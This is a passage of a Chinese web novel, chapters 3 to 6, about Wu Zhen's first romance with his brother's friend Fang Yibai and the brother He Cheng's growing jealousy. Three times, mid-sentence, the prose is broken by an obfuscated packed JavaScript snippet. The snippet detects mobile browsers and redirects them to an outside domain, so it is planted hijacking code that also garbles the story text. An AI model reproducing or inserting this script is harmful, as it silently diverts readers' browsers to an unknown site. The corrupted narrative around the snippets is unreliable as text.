《你也喜欢邬真吗?》 3. 你也想亲吗 第一次亲吻发生在邬真的房间。 夏天好热,哪怕是精力旺盛的邬真也会懒得出门。 房间里很凉爽。 蝉鸣声在窗外响起。 吻很轻很慎重地从邬真柔软的侧脸轻吻到嘴角,屏住呼吸停在这里。 光是这种程度,已经让方奕白神志不清、头脑发胀,灵魂都要从强烈的冲击中撞出躯体。 他竭力调整呼吸想让自己冷静。 但闻到的都是邬真的气息。 清爽干净的沐浴露香气,带一点艾草的味道。植物的清香。 他的脸颊越发感觉到火烧火燎。 邬真不介意他的停顿。 他也正在探索,需要仔细感受。 虽然牵手时,他觉得方奕白和贺诚没有区别。 但现在他察觉到了。 同样是亲脸,方奕白和贺诚的态度会有所不同。 贺诚如果亲邬真的脸,不会有这么多的迟疑和犹豫,不会这么小心这么谨慎。 贺诚亲邬真是理所当然的事情,他不需要犹豫,晚安吻很轻地落在邬真的脸上,和邬真说晚安,对他们来说像空气一样自然存在。因为坦然,哥哥就是哥哥,弟弟就是弟弟,感情纯粹没有心虚,不需要提防和过多在意。 但方奕白不一样。 邬真等待着,有点分神地想窗外的蝉鸣声好吵,下一秒,嘴唇上微微地热了下。 邬真愣神。 视线聚焦,看向方奕白。 盛烈的阳光下,方奕白也没闭眼睛,他望着邬真的脸,看着自己紧张到不像话的表情暴露在邬真清亮的绿色麦浪般的眼睛里。 和邬真恋爱之后,邬真并没有隐瞒消息的意思。 他晒出方奕白送给他的交往纪念礼物,他们在一起的消息火速席卷了两个人重叠的朋友圈。 方奕白收到最多的消息就是。 “你小子凭什么啊?” “用了什么手段老实交代。” “呵呵你以为你能和邬真在一起多久。” “少得意了该死的东西。” “说吧跪着求了多少次真真才答应和你在一起。” 方奕白的一生从没有得到过这么多的嫉妒,比他当年第一次拿到冠军还要令人心浮气躁。每天起床都伴随一种燥热的气息,他终于能够名正言顺地以朋友之外的另一个身份站在邬真的身边。 他和邬真第一次认识,是在自己十二岁的生日后不久。 他的家庭环境复杂,父亲私生子女众多,方奕白年纪虽小,心狠手辣,自己的生日愿望都要许“让那些弟弟妹妹全都去死!” 他觉得亲人是累赘。 就是这样的情况下,他唯一的朋友贺诚家里新来了个弟弟。 一周之后,他才知道这件事。 关于消息的延迟,他原以为贺诚家里也出了这等丑事,所以不愿意和他交代。作为兄弟,理应同仇敌忾。 然而没想到,贺诚不是讨厌新弟弟。 是喜欢,好喜欢,非常喜欢。 他喜欢成眼珠子了,恨不得天天把弟弟关在家里,恨不得上学都要把邬真夹在咯吱窝底下带走。 他找上门的时候,贺诚一个劲儿地冷着脸掰着他的胳膊往外推,咬牙切齿地威胁他。“滚!” 方奕白死皮赖脸地说,“让我看看怎么了,看看!” 方奕白完全意料之外地被一向冷静的装货朋友连赶带骂,等离开院子抬起头,才看到邬真。 邬真手里抓着蜡笔,脸上有几道彩印,和他对视之后把自己刚画完的画自信地转给他看。 狼狈夹着尾巴的他,还有气势汹汹的喷火龙贺诚。 方奕白眯眼看清,笑得前仰后合,和邬真说的第一句话是,“我没有那么狼狈吧!” 又嬉皮笑脸地看贺诚,“这就是你弟吗,在他眼里你的形象也不怎么样啊。” 贺诚的声音紧随其后。 “方奕白!”他一字一顿,“现在、立刻、马上,滚出我家!” 绿色啊。绿色真的太好了,太漂亮了,绿色是绵延不尽的山谷,是风生水起的景色,是躁动不安的夏天,是邬真看人的时候明亮的眼睛。 方奕白不止一次地想过。 邬真如果是他的弟弟就好了。 无数次梦境,他被和邬真牵手、邬真信任地抱着他的胳膊叫他哥哥的温馨画面幸福地满足过。 那时候的他眼界就到这儿了,没想过更爽的事情。 谁会知道光是牵手就足够让他辗转反侧。 十指相扣就让他的大脑宕机。 靠近已经意乱情迷。 亲吻邬真则会让他变得很贪婪。 他谨慎地亲吻邬真的嘴角,把沁香清爽的味道狼吞虎咽,近乎渴切地交换气息,心脏跳得快从胸口窜出来,后背僵硬,发间的汗水往脖颈流,被邬真的呼吸刺激得尾椎骨发麻颅内一片空白。 然而贪婪的同时夹着尾巴。方奕白在一片热汗之中狼狈不安地想,这样的幸福终点在哪一天。 他只要睁开眼,就会看到邬真一如既往,明亮开阔的眼睛。 那里面什么都没有。 会被一个吻引出所有担忧的人只有他。 只有他在想,他们有没有未来。 只有他在想,邬真的兴趣什么时候会消散。 邬真的确没有什么顾虑。 他开朗并且友善,但永远把自己的想法放在最前面。他不会舍不得拒绝别人,不拒绝只是因为自己想要尝试。 接吻对邬真来说实在是太过新奇的感受。 邬真对新鲜感太难抗拒。 他妈妈是医学领域的研究人员,性格理性,擅长记录和分析,邬真和她虽然脾气不像,却有地方一脉相承。 他习惯记录自己觉得新奇的一切感受。 他对难过、兴奋、紧张,生病的体验,奔跑后乏力的感受……一切的一切,都有详细的描述,以便于自己进行比较。 邬真喜欢观察一切,看人们的表情、生活,他们的怒气或者悲伤,也喜欢观察自己。 他爱这个人是不是比爱那个人少一点?这种多少又该以什么样子的尺度来衡量?他总是这样兴致勃勃地猜想,很有劲儿地东奔西跑,乐于和别人交朋友,喜欢询问每一个看起来失魂落魄被阴影笼罩的人,“嗨,你情绪还好吗,需要帮忙吗?” 邬真很热情,这样毫无阴霾不求回报的热情给他带来友谊、温暖,整个世界。 但如果追根溯源,邬真只是有点好奇。 这个人是怎样的人。 那个人是怎样的人。 不同的人,不同的性格,相似的人也不会复制粘贴,这个世界能够被邬真探索的事情真的很多,所以他喜欢这里实在太理所应当。 亲吻真的不一样…… 邬真想。 起码和牵手完全不一样。 是比肢体接触更深一层的接触。果然会显得亲密很多。 他推开方奕白的肩膀,晃了下脑袋,随后被粗糙的大手抬起头拂开头发擦拭汗水。一双绿眼睛从眉骨下抬起来,嘴唇几乎鲜艳欲滴。 邬真感觉自己应该脏兮兮地挂着汗,好狼狈。亲吻怎么会让人这么狼狈呢? 邬真觉得有点好笑,如果刚刚有人在看,说不定他们真的像是影视剧里拍的那样啃。 他憋笑说,“奕白哥。” 方奕白看着他,肺部像是被戳了几个孔,由内而外地泄气,他也笑着,“怎么了?” 邬真汗津津地和方奕白靠着脑袋。 房间里开着空调,然而还是热腾腾的。 安静了一会儿,邬真忽然说:“这就是恋爱的感觉吗?” 方奕白的心脏被他一句话戳得直跳,手指不由自主地攥紧。 这是什么意思? 然而邬真并没有给他解释,只是忽然转过头看他。 方奕白微微撇开眼神,能看到不远处的镜子里反射着自己头发凌乱面红耳赤难堪的狼狈。 “我一直在想,奕白哥不喜欢我,和我谈恋爱是什么心情,甚至今天接吻的时候,我也在想呢。奕白哥是什么感受,会不会觉得邬真是个不管别人情绪的坏蛋,会不会觉得亲吻我是一件糟糕的蠢事;但又觉得,奕白哥如果讨厌我,也许根本不会亲我。是吗?” 邬真抓着他的手,眼睛在认真地看他。 方奕白情不自禁地回答他的话,沙哑地道,“对。” 邬真脸上挂上更灿烂的笑,“嗯,奕白哥不讨厌我,我也不讨厌奕白哥。这就是一段恋爱发生的先决条件,这样很好,我们可以继续,如果我们真的爱上彼此,那是最好的事情。” 方奕白反握邬真的力度在渐渐收紧。 邬真却一无所觉。 “我们结婚,去度假,去海里喂鲨鱼,让哥和朋友们来参加我们的婚礼!如果没有,分开的时候也不会太难过,我们还能做朋友,就和以前那么多年一样!” 对邬真来说,尝试并不是坏事。 他亮晶晶的眼睛看着方奕白,笑眯眯神气的表情,有点点臭屁地点了下头,“要是奕白哥真的喜欢上我,也不会亏哦,我觉得我是个很好的人。” 方奕白微闷地沉默两秒,继而笑了声,“对。” 大手从邬真的侧脸摸到他毛茸茸的头发,看他利落干净少年气的轮廓,和宝石一样的绿眼睛。 邬真眨眨眼睛,凑过去。 方奕白正要说话。 比邬真先靠近的是他的呼吸,然后是他的头发,再后是他的鼻梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301766|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、睫毛,最后才是轻柔的吻。 邬真亲了亲他的脸。 方奕白屏住呼吸。 赛车手的手粗糙,脸倒是没有。想想也是,毕竟带着头盔呢。邬真亲在他棱角分明的侧脸,笑着说,“我有努力多喜欢奕白哥一点点。” 方奕白的手指猛地抽动了下,“……嗯。” 邬真抽离,温度远去,他去桌边喝水。 方奕白僵在后面,半晌,摸了把被碰过而火烧火燎的皮肤,手臂盖在眼睛上,笑了声。 …… 八点左右,贺诚要回来,方奕白也得回家。 他依依不舍地披上自己的外套,笑着回头搂住邬真的肩膀亲他的脸,“明天见好不好?真真。” 邬真摇头:“我懒得出门。” 方奕白:“不用你出门,我来找你。” 邬真关切地说:“太热啦,奕白哥。” “哪有。一点也不热。”方奕白严肃认真地说,“心静自然凉。” “嘎吱——” 他很慢很慢地拉开门,流连忘返。 邬真笑着,“那好吧。不过明天是周日,我哥在家——” 话音未落,邬真就从逐渐大开的门缝里看到了贺诚的脸。 贺诚出现在他房门口外。 青年身上西装还没换下来,领针熠熠,靠在墙壁上不知多久。额发垂散,黝黑的目光静静看着他。 邬真:“哥?你站在我门口干什么?” 方奕白脚步一顿,眯着眼笑了下,“大忙人今天回家这么早啊。” 贺诚没搭理他,只是看着邬真。 看他微微红肿的嘴唇,脸上和平时有些不同的神态。他对邬真太熟悉。熟悉弟弟的味道,熟悉弟弟的样子,熟悉到他连每根睫毛的走向都一清二楚。他是哥哥,和邬真相处的时间太久,关心邬真注视邬真的时间太久,久到他的敏锐已经成为习惯,久到发现自己察觉到不对的时候都来不及。 他也许不想察觉到。 但来不及。 他嗅到交融在一起的味道。 感受到发生在邬真身上独特的变化。 一种古怪的怨气快要从他的每一根血管神经迸发出来,一种强烈的讥讽的欲望、冷笑的冲动快要克制不住。 贺诚看着邬真,冷静压住胸腔里不断翻涌的问题。 你们接吻了是不是。 你是自愿的吗? 你想让他亲吗? 你们亲了有多久? 在我看不到的时候,在我一墙之隔的房门里。 可是他根本配不上你。 问题太多,拥挤成乌云般轰隆隆的黑色。 贺诚最后什么都没说。因为他的问题多么奇怪,他竟然在质疑情侣之间理所当然的亲吻。 他看自己从小到大二十多年的发小,他的朋友,他的同窗,“滚出去。” 方奕白回过头看向邬真,凑过去亲了下他的脸。 “那明天见。” 贺诚说:“真真。” 邬真刚想回应方奕白,就又被哥的声音拉拽过去,眨眨眼:“嗯?” 贺诚垂着眼,冷静地嘱咐,“不要让他到我们的家里来。” 空气安静了一瞬。 邬真看看方奕白,又看看贺诚。某种微妙的电火花在空气中流动,邬真似乎有点感觉。 他察觉到了贺诚对方奕白的敌意,但不明白为什么。脑子里盘旋一个大大的问号。 哥和方奕白二十多年的友谊,关系一向融洽。方奕白来家里也并不是第一次。 方奕白:“不是吧哥们儿,连我也信不过?我们多少年的兄弟,连这你也要管!” 贺诚不再说话。 他在门外等待的时候,想好要和邬真谈一谈。 恋爱自由是正常的,他交往的人同为男性贺诚也不会管,这个人侵占他们的空间时间是情侣相处对家庭关系难以避免的冲击,邬真会顺理成章地和男友发展亲密行为,更是无可厚非。 但贺诚从小看着邬真长大,对邬真有男友的事情一时难以接受,他需要时间适应。 他希望邬真明白他的异常有所成因,希望邬真能原谅他的古怪。希望邬真知道,就算他奇怪,畸形,用阴暗的眼神看着他,甚至有些排斥他的男朋友,但贺诚依然视他为最重要且无法割舍甚至充满依恋的亲人。 然而门打开,两个人有说有笑地出现在他面前,那些话无法出口。 因为邬真讶异看过来的眼神,让他觉得,他好像不该出现。 被排斥在弟弟的空间之外的感觉很奇怪。 贺诚无法再开口。 嫉妒是很难藏住的东西,他需要时间去学。学怎么隐藏自己的嫉妒。就像从前,他学怎么照顾一个小孩。 4.你也虚伪吗 窗外的绿植生机勃勃地在风里摇曳,漆黑的影子在沙发边沿晃动,入夜之后一切都很安静。 贺诚坐在书桌旁。 手边是电脑、堆叠的文件,一副相框。 更右边是钩织玩偶、书柜,陈列的键盘架和游戏机的展示区。 贺诚没有在处理工作,他手里拿着的是一本教材。 邬真高中时候的教材。 贺诚也不知道翻看这个有什么意思,似乎出于一时兴起。 这上面除了弟弟字迹工整的笔记之外什么都没有,偶尔能看出上课不专心的痕迹,还夹着邬真早就和他分享过的闲聊纸条。 朋友在问,邬真准备去哪个餐厅吃饭。 邬真说不去,今天我哥给我带饭,哥哥做饭非常好吃。 贺诚扯了下嘴角,继续往下看。 【嫉妒。凭什么,为什么!】 【真真都好久没有和我一起吃饭了】 【你哥怎么无处不在啊】 【他有点太粘你了你不觉得吗?】 贺诚淡淡垂眼看着。 视线往下。 邬真:【有吗?可是我们一直都这样】 …… 熟悉的轻快的脚步声飞奔进来。 贺诚把书合上,拿过文件盖在上面,黑眸看向门口的方向。 刚洗完澡的邬真舒服地扑在沙发上,脸朝下长吸了口气。 水珠从他湿透后更显卷翘的头发往下滴到肩膀。 邬真惬意地休息数秒,再翻身爬起来把空调往下调低了两度,同时和贺诚分享,“楼下新来一只小白狗!” “我刚刚在篱笆外面看到它了。” “好可爱啊,忍不住想嘬嘬两声,但是它看起来很端庄。破坏这种优雅的端庄会像个坏蛋一样。”邬真于情不忍地说,没等贺诚回答,视线往贺诚的桌面一扫,“哥又在工作。” 贺诚:“……” 他瞥一眼桌上的文件。 邬真说:“工作是做不完的!适当的休息非常重要。” 贺诚把手盖在文件间隙处,“我知道,再看一会儿就休息。” 邬真满意点头,眨了下眼睛。 绿宝石一样清透的眸子直勾勾望着贺诚,“嗯,今天感觉哥心情不太好。” 邬真疑惑地问,“是因为我和奕白哥谈恋爱的事情吗?” 兄弟姐妹和自己的朋友谈恋爱这件事,偶尔会引发一些争议,不算少见。 简单来说就是,自己的亲密关系相互结合,导致自己同时被两个人排除在外,因此产生的落差感。 但邬真以为这种情况不会在贺诚这里出现。 他在邬真心中的形象足够稳重、足够可靠。 空气沉凝两秒。 贺诚本来想以温和且平和的姿态回答邬真:不。没有心情不好,我只是需要一点时间适应。 但脱口而出的话却是。 “他好在哪?” 邬真愣了下,“嗯?” “他好在哪里。”贺诚,“粗鲁轻浮,嬉皮笑脸,除了身强体壮之外难道还具备什么值得称道的优点?他有哪里引起你的注意,他有哪里在你心里显得特别?你把他也看做你的哥哥,那凭什么……——” 他的声音戛然而止。 空调的冷气在室内游走,贺诚忽然有一瞬间的汗毛耸立。 邬真坐在沙发上,表情有些意外。 他睫毛很长,下睫毛也很长。洗完澡后有些湿润地黏搭在一起,在光线下投射在鼻梁骨上。 他神态逐渐严肃起来:“虽然我很爱哥,但我没办法赞同哥哥的每句话。奕白哥也看着我长大,哥和他是朋友,应该很了解他的为人。” “他很诚实,很坦率,不粗鲁也不轻浮,大多数时候也很可靠。我不觉得他有哪里不好,不明白哥为什么忽然这么评价自己的朋友。也许你们应该谈一谈,又或者我们应该谈一谈?问题的出现总是需要解决,我不想以后我交往的每个男朋友都让哥这么不痛快……” 邬真觉得自己说太多了。唔,他其实有尽力少说点。 他看向贺诚。 贺诚脸上没有多余的表情。 “你对他的评价倒是非常好。”贺诚平静地轻道,“那我呢?” 邬真:“啊?” 贺诚重复:“那我呢?” 邬真细细看过他的眉眼,笑着说:“哥一表人才。” 贺诚看着邬真,摇头:“不是这个。” 邬真:“那要我说什么?哥脾气凶人缘不好惜字如金,打游戏稀巴烂手工活也总是做得非常糟糕,哼,哼。我现在都记得,之前小学义卖会,只有哥的拍卖品我根本拿不出手——” 贺诚没想到邬真旧事重提,“……那是从前……” 他艰难地吐字。 邬真不管。他嘴角翘翘眼睛弯弯,有点狡黠,“现在也很烂啦。生日的时候,哥送我的玩偶是我的样子吗?能看出哥做得很用心,但我真的以为是什么美杜莎之类的怪物。” 贺诚低头:“我错了。” 邬真笑起来:“没关系,因为我很喜欢。” 贺诚:“……” 邬真快活地说:“那个人偶就放在我的床上天天陪着我。看久了觉得好可爱。哥如果觉得我每次收到礼物之后的开心兴奋是装的,那就大错特错。错错错错。” “哥已经很忙,还要为我加班加点地准备亲手做的小礼物。我知道你的想法!你想告诉我你在意我,愿意一直对我用心,愿意一直都爱我。” 邬真头发尖在往下滴水,脸颊耳朵脖子也湿湿的。 他用毛巾胡乱擦了擦,并甩了下头发。 贺诚感到微小的水珠溅到他的侧脸和手背。 啪嗒一下。 按理说是没有声音的,但他总觉得有。并且很清晰。 贺诚没有伸手去擦,好像并不在意。 那点微小的水痕带着邬真的味道,一直留在他的脸上、手背,直到它干。 “奕白哥很好,但哥比奕白哥还要好一百倍。”邬真说,“哥和他们任何人都不一样。” 世界忽然安静了一瞬间。 贺诚倏地起身,影子泼了邬真一身。 邬真坐在沙发上,头发湿淋淋,绿眸茫然地看着他。 贺诚什么都没说,只是伸手拿过邬真怀里的毛巾。 邬真抱住头:“停!我不想吹头发。” 贺诚说:“不吹。” 他用毛巾盖住弟弟的头,扭过邬真的肩膀让他在沙发坐好,自己绕到后面,用毛巾轻轻擦他的头发。 他没办法坐在邬真的对面;也没有办法被邬真注视着了。 来到邬真的后背,贺诚才能慢慢舒口气,感受到热汗淋漓的后背、发麻发烫的耳朵。 邬真:“哥还有工作。” “不重要。”贺诚的声音从背后传来。 邬真不说话了。 贺诚却有很多话想说。 邬真很爱他,邬真在意他,重视他。他始终如一的真诚、坦率、赞美、尊重、认可以及信任,让贺诚有温暖满足无与伦比的快慰,还感到无地自容、羞愧、难堪,畸形潮湿以致诡异的自疑。因为他虚伪。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307673|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是。 他很虚伪。 因为他虚伪,所以他无法正视邬真的赞美、他肯定的眼神。同时又贪婪地享受着,满足地汲取着。 脑子里盘旋的字字句句牵连拉扯。 贺诚想告诉邬真,他不是有意诋毁自己的朋友。 然而不是有意是什么? 他恰是有意诋毁。甚至有更多的诋毁如同魔鬼一样在他的心里挨挨挤挤,一张口就要撕开他的喉咙爬出来。 他只好不再说话,只安静地擦拭弟弟的头发。 他的嫉妒是合理的吗,符合道德的吗,在伦常以内的吗? 这些问题一次次拉紧他的心弦,在邬真明亮的眼神里愈发如同梦魇一般吵扰他。 他道:“抱歉。” 邬真甚至没有问他为什么道歉。 “我知道。”他干脆地说,“哥需要时间。” 邬真的头发,蓬松,湿润,柔软。 贺诚的手指陷在里面。 紊乱的思绪闪烁着,有一瞬间异常清晰。 如果是方奕白现在站在这里,在给邬真擦头发,他会怎么做? 他从后面静静看着邬真,骨节分明的手指勾起一缕冰冷的发丝。 是卷卷的黑发。 往下勾,把他的手指头圈住,留下淡淡的湿痕。 …… 邬真有习惯记录。 抓蝴蝶的时候记录:【手上有灰扑扑的粉,无味。捏着翅膀能感受到细微的纹路。他们在奋力挣扎。用身上每一个器官。好弱小。没有温度。有点可怜。】 摸年轮的时候记录:【粗糙的断面,生前是高大的乔木,侧面有芽发了出来,芽上又有芽。翠绿带一点嫩黄。蚂蚁和蜘蛛在周围攀爬。树根很粗糙,划手。沟壑中间有青苔,蛛网,灰尘,鼠妇。像一道道被填满的生长纹,被撑开再度愈合。有五十三条年轮,有我两倍大还要多。在大树界却根本不值一提! 一棵树能记载的东西太多太多,当一棵树也不是什么坏事,又高又大,我将允许大家在我的身上爬来爬去。夏天乘凉,雨天避雨(小心打雷)】 …… 同理,邬真更新了他的新体验。 【恋爱的感觉也没有什么不同,又或者我还在用看朋友的眼神看他。但这种心态要怎么转变,我却一窍不通,非常费解。 看着他的时候我很好奇,我的眼睛里是否有不同情绪,我看他和他看我的眼神是否一致。人要怎么才能爱上一个人,人要怎么意识到自己正对另一个人萌生感情?我有没有被谁爱过,有没有人用渴望的眼神注视过我、希望得到我的回应。他从哪里确信自己的喜欢是发自内心的而不是某种习惯?而我是否有察觉,有没有冷淡地辜负。好多问题,却不知道该问谁,只能在慢慢观察中寻找答案。 我话很多。毛病也不少。我怎么总是在说话啊!可恶啊闭嘴邬真。老实说,我自己也有察觉。做朋友我是一个好选择,做恋人或许不是】 …… 【牵手和亲吻截然不同。 我能感受到这个人的手和另一个人有什么不同,骨头的大小、肌肉的含量、手的温度、茧子的粗糙程度,握手的力气。 但接吻的话,其实真的很奇怪 它不具备任何“人”的鲜明特征。 离得太近时,自己的味道会盖过他人,连温度也会混为一体。除非这个人满口尖牙,否则我甚至不具备辨认的能力 闭上眼睛的时候,会不会搞不清楚自己在亲吻的人究竟是谁? 但这个想法有点好笑,毕竟,我长着眼睛,当然不会认错。】 5.你也担心吗 邬真的恋爱消息很有轰动效果。 最初是妈妈、爸爸和叔叔的消息。 妈妈说: “这是一个不错的机会,人的感情中有太多值得分析的东西。” 邬真也赞同:“是的!” “放手去做吧。”妈妈鼓励他,“希望你能得到新的体会。” “好。” “对了宝贝,妈妈的项目刚发了一笔奖金,我托人在这边的拍卖会和协会挑了你喜欢的东西,海关估计会卡一卡,但不会太久。嗯。你希望我现在告诉你礼物的内容物,还是希望自己拆开惊喜?” 邬真:“爱妈妈,我要自己拆!” “我也爱宝贝。” …… 爸爸给邬真发消息。 老虎不发威:【男的??】 煎蛋说两句:【是的!】 长久的沉默。 老虎不发威:【有他照片吗?给我看看】 煎蛋说两句:【[图片]怎么了爸爸】 【呵呵。没什么,我要去打断这个鳖孙子的狗腿。】 “煎蛋说两句”撤回了一条消息。 老虎不发威:【照片呢?撤回去干什么,我开玩笑的[微笑][微笑]你老爸难道是这般粗鲁之人】 煎蛋说两句:【哦哦[图片]】 老虎不发威:【呵呵,我是。如果他出门迈左腿,我打断他左腿,他出门迈右腿,我打断他右腿。如果他敢说喜欢你,我将打断他三条腿。】 “煎蛋说两句”撤回了一条消息。 …… 叔叔对此的态度很急切。 “你哥知道吗?” “他怎么不拦着一点?朋友?我当然知道那小子是你哥朋友,但是朋友就没问题了吗?真真,这是很严肃的事情,关乎你之后的情感倾向和恋爱发展,是至关重要的起点。” “无法想象,真真第一次谈恋爱,我们居然不在你的身边。” 无论是他还是邬真的妈妈事业都非常繁忙。 尽管如此,他还是决定近期回国一趟。这实在是无法让人放心的事情。 邬真那么小一个,才那么大点,什么时候就到谈恋爱的年纪了。 应该给邬真派几个保镖,万一那个人想对邬真粗手粗脚怎么办。 万一邬真被欺负,可是贺诚却因为距离遥远只能袖手旁观怎么办? 他给贺诚打去电话。 贺诚:“……” 贺诚看了一眼时间。 “没有记错的话,上次你给我打电话是在真真的生日,问我给他礼物的筹备有什么策划和准备。”贺诚说,“下次来电理应在三个月后,我的生日。提前打电话有什么事吗?” 贺文强,“是的,但没办法,我总担心你对他不够用心。” 他沉稳地概述了自己的想法。 贺诚同样沉稳地给予回应:“保镖就不用了,真真会觉得拘束。”真是荒谬,他父亲的操心过度令他耻笑,贺诚淡淡说,“我会时常关注的。” “怎么关注?” “看着。” “看着怎么够。”贺文强说,“他是你弟弟,你们血浓于水,你应该时时刻刻跟在他的身边。” 贺诚:“……” 这句话可笑到他忘记反驳其中某个成语的谬误。 “爸。”贺诚的声音冷淡,“真真今年二十岁,不是十岁;我是一个正常的哥哥,不是个变态。” 他顿了顿,话里甚至久违有了两分讥讽。 “难道在邬真和他男朋友拥抱亲吻的时候,我也要‘时时刻刻跟在他的身边’?” “我是他的什么人。” “背后灵吗?” “那也要看他愿不愿意。” “嘟嘟——” 他挂断电话。 …… 其次显现端倪的是邬真的朋友圈。 邬真甚至觉得朋友圈忽然爆炸到他快要刷不到尽头。 怎么会这么这么多? 而且他也看不太懂。 这个人发【薅蹦奎】 底下回:【窝咚泥】 煎蛋说两句:【窝咚泥是什么泥?】 朋友:【来自高原产区某个偏僻乡村的习俗,村民会在情绪极度崩溃的时候饮用这种泥土调配的饮料,盒盒盒,当然,不会太好喝。所以往往一边喝一边流泪……大家高举酒杯说窝咚泥窝咚泥,窝们都咚泥,然后一起流泪。就这样、呃这是一种习俗。】 煎蛋说两句:【我没搜到】 朋友:【因为是小乡村嘛】 煎蛋说两句:【真厉害啊!你怎么什么都懂!太可怕了,但我也会努力学习的。】 朋友:【……不…………】 其次最直观的是,邬真和方奕白发朋友圈,会收到同一批人截然不同的回复—— 煎蛋说两句:【路上的小猫![图]】 朋友1:【好萌,但是真真更萌!】 朋友2:【宝宝想你,最近过得怎么样?】 朋友3:【最近在徒步,这边的云好大好近好像一只大耳朵猫,我要拍照发给你】 朋友4:【真真,最近我在国外滑雪看企鹅,好想拔一根毛送给你,但我怕被企鹅打。不过我寄了非常多礼物,你会有喜欢的吗?我总是在想真真现在如果在这里就好了,我会更开心旅途会更有意义!爱在远方想你[爱心]】 …… 方奕白:【拍真真拍的路上的小猫。[合照图]】 朋友1:【滚。】 朋友2:【服了,大哥,你在炫耀什么?】 朋友3:【想把你删了又怕看不到真真的一手消息】 朋友4:【好好晒邬真照片就别带你自己了ok?(无恶意】 因为会被淹没在邬真浩如烟海的朋友圈消息里,邬真甚至没能注意到朋友对自己和男友的双标差别待遇。 …… 恋爱消息的大地震缓慢过去,最后的余波是—— “单身派对?” 邬真愕然地发问。 房间里绿色的窗帘挂起一半,后面是一扇很大的落地窗,雨点噼里啪啦接连不断地砸在上面,发出砰砰的闷响。 几个朋友坐在他的房间里。 邬真:“我不是单身。” “当然,当然,我们知道。”朋友解释,“就当是补办的单身party,现在我们回档到你和那个什么方谈恋爱的前一天。” “他叫方奕白。” “嗯嗯。” 邬真:“我认为这样不好。” “没什么不好。”朋友一屁股坐到邬真身边,揽着邬真的肩膀晃了晃。 他真的愁容满面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313327|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对邬真的忧心冲击他的心脏,让他晚上都睡不好。 “你喜欢他吗,对他有感觉吗?他难道对你来说是最合适的初恋人选吗?” 朋友苦口婆心。 “最起码,你要找一个你喜欢的,能够碰撞出火花的人,不是吗?” 邬真端正姿态询问,“要怎么才能确定自己和谁之间有这样的火花?” “嘎吱——” 房门忽然被吹动了下。 邬真的卷发被吹动拂过眼睛。他下意识回头看,但什么都没有发现。 房门好像本来就没有关好。 他没有再搭理,再次回头。 “嗯,怎么确定‘有’我不懂,但我知道怎么确定没有。” 朋友说。 “你和他认识这么久,算算看,有多少年?”朋友的手挂在邬真的肩膀,掰着手指头算,“从你六岁那年就认识他,足足十四年。” “好久。”邬真感叹,好像第一次发现。 “这么多年,你都把他当朋友。这是可贵的友谊,然而不再有别的了。” 邬真的眼睛像是柔软的柳树。他抬起眼睛的时候,睫毛像柳枝从脸上擦过去。 朋友艰难地对抗着邬真的目光。 “想想啊,真真。你、贺诚,还有那个方块,你们一起过了无数个元旦、除夕、春节、情人节,你们身边有这么多重合的朋友、相似的爱好,独处的时机。天啊,简直是老天在促成你们的姻缘,是不?” “然而这么多个节日,这么漫长的岁月,你们本该有无数个难忘的时刻、无数次冲破界限的告白,但竟然没有,完全没有,怎么可能没有?” 朋友又靠近了些,直到邬真那双色泽灿漫的绿眼睛里清晰出现他的影子。 “——答案显而易见。因为你们根本没可能。因为你不爱他。因为你对他,从来都没半点感觉。” “呼——” 外面在下大雨,天气很有些阴沉。 邬真听到了风从走廊洞穿而来的声音,他再次转头看了一眼半开的门缝。 合页有些老化,门在迟钝地摆动。门外是走廊的光,暗红色复古的地毯。 没有人。 但邬真感觉在被注视。 隐约熟悉的目光,落在他的身上,却又同时有他不熟悉的阴郁。如同黑色的雾气,在沼泽地里蔓延出来。 空调微弱的声音嗡嗡作响,邬真后颈有些针扎似的热意。 他不自觉地伸手摸了摸后颈。 古怪的雾气静谧无声地消散。 “怎么样,考虑下?”朋友说,“去看看也不吃亏,就当交新朋友。” “当然不可以!”邬真回过神。 单身派对里面都是年纪相仿的单身男女。 邬真去参加,无论是对方奕白,还是参加其他派对的青年,又或者是对自己,都不是一个好的选择。 看邬真再次露出否定的神色,朋友娴熟地闭嘴,滑溜溜地转移了话题。 “好好好,不开单身party就不开!开玩笑的,但是普通聚会总可以了吧?没有乱七八糟的人……就当……就当,庆祝你第一次谈恋爱。” 他说庆祝邬真第一次谈恋爱。 这的确是值得庆祝的事情,是邬真走向更成熟的一步。 但和他的男朋友没什么关系。 6.你也当狗吗 “——答案显而易见,因为你们根本没可能。因为你不爱他。因为你对他,从来都没半点感觉。” 狂风骤雨中,贺诚脑海中还回响着这句话。 说的是邬真的男友方奕白,和他没有半点关系。 然而贺诚却奇怪地感到烦躁。 邬真恋爱这几天以来,询问贺诚的声音也从来不少。 